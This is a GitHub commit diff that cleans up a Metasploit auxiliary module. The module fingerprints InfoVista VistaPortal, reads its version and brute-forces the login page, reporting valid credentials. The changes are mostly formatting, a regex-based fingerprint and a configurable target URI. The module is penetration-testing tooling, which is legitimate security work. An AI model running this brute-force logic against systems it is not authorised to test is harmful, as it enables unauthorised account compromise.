Skip to content

Commit 14b94b0

Browse files
jvazquez-r7swtornio
authored andcommitted
Do final cleanup for infovista_enum
1 parent f419daf commit 14b94b0

File tree

1 file changed

+14
-23
lines changed

1 file changed

+14
-23
lines changed

modules/auxiliary/scanner/http/infovista_enum.rb

Lines changed: 14 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -15,19 +15,12 @@ class Metasploit3 < Msf::Auxiliary
1515
include Msf::Auxiliary::AuthBrute
1616
include Msf::Auxiliary::Scanner
1717

18-
#
19-
# CONSTANTS
20-
# Used to check if remote app is InfoVista
21-
#
22-
23-
INFOVISTA_FINGERPRINT = 'InfoVista® VistaPortal®'
24-
2518
def initialize(info={})
2619
super(update_info(info,
2720
'Name' => 'InfoVista VistaPortal Application Brute Force Login Utility',
2821
'Description' => %{
29-
This module attempts to scan for InfoVista VistaPortal Web Application, finds its version
30-
and performs login brute force to identify valid credentials.
22+
This module attempts to scan for InfoVista VistaPortal Web Application, finds its
23+
version and performs login brute force to identify valid credentials.
3124
},
3225
'Author' =>
3326
[
@@ -46,14 +39,14 @@ def initialize(info={})
4639

4740
def run_host(ip)
4841
unless is_app_infovista?
49-
print_error("#{rhost}:#{rport} -> Application does not appear to be InfoVista VistaPortal. Module will not continue.")
42+
print_error("#{rhost}:#{rport} - Application does not appear to be InfoVista VistaPortal. Module will not continue.")
5043
return
5144
end
5245

5346
status = try_default_credential
5447
return if status == :abort
5548

56-
print_status("#{rhost}:#{rport} -> Brute-forcing...")
49+
print_status("#{rhost}:#{rport} - Brute-forcing...")
5750
each_user_pass do |user, pass|
5851
do_login(user, pass)
5952
end
@@ -70,10 +63,10 @@ def is_app_infovista?
7063
'method' => 'GET'
7164
})
7265

73-
if (res and res.code == 200 and res.body.include?(INFOVISTA_FINGERPRINT))
66+
if (res and res.code == 200 and res.body =~ /InfoVista.*VistaPortal/)
7467
version_key = /PORTAL_VERSION = (.+)./
7568
version = res.body.scan(version_key).flatten[0].gsub('"','')
76-
print_good("#{rhost}:#{rport} -> Application version is #{version}")
69+
print_good("#{rhost}:#{rport} - Application version is #{version}")
7770
return true
7871
else
7972
return false
@@ -93,11 +86,11 @@ def try_default_credential
9386
# Brute-force the login page
9487
#
9588
def do_login(user, pass)
96-
vprint_status("#{rhost}:#{rport} -> Trying username:#{user.inspect} with password:#{pass.inspect}")
89+
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
9790
begin
9891
res = send_request_cgi(
9992
{
100-
'uri' => '/VPortal/mgtconsole/CheckPassword.jsp',
93+
'uri' => target_uri.to_s,
10194
'method' => 'POST',
10295
'vars_post' =>
10396
{
@@ -106,13 +99,10 @@ def do_login(user, pass)
10699
}
107100
})
108101

109-
get_response = "<script type=\"text/javascript\">\r\nlocation.href = 'AdminFrame.jsp';\r\n</script>\r\n"
110-
111-
if (not res or res.code != 200 and res.body != "#{get_response}")
112-
vprint_error("#{rhost}:#{rport} -> FAILED LOGIN - #{user.inspect}:#{pass.inspect} with code #{res.code}")
113-
return :skip_pass
102+
if (not res or res.code != 200 or res.body !~ /location.href.*AdminFrame\.jsp/)
103+
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect} with code #{res.code}")
114104
else
115-
print_good("#{rhost}:#{rport} -> SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
105+
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
116106

117107
report_hash = {
118108
:host => rhost,
@@ -121,14 +111,15 @@ def do_login(user, pass)
121111
:user => user,
122112
:pass => pass,
123113
:active => true,
124-
:type => 'password'}
114+
:type => 'password'
115+
}
125116

126117
report_auth_info(report_hash)
127118
return :next_user
128119
end
129120

130121
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
131-
print_error("#{rhost}:#{rport} -> HTTP Connection Failed, Aborting")
122+
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
132123
return :abort
133124
end
134125
end

0 commit comments

Comments
 (0)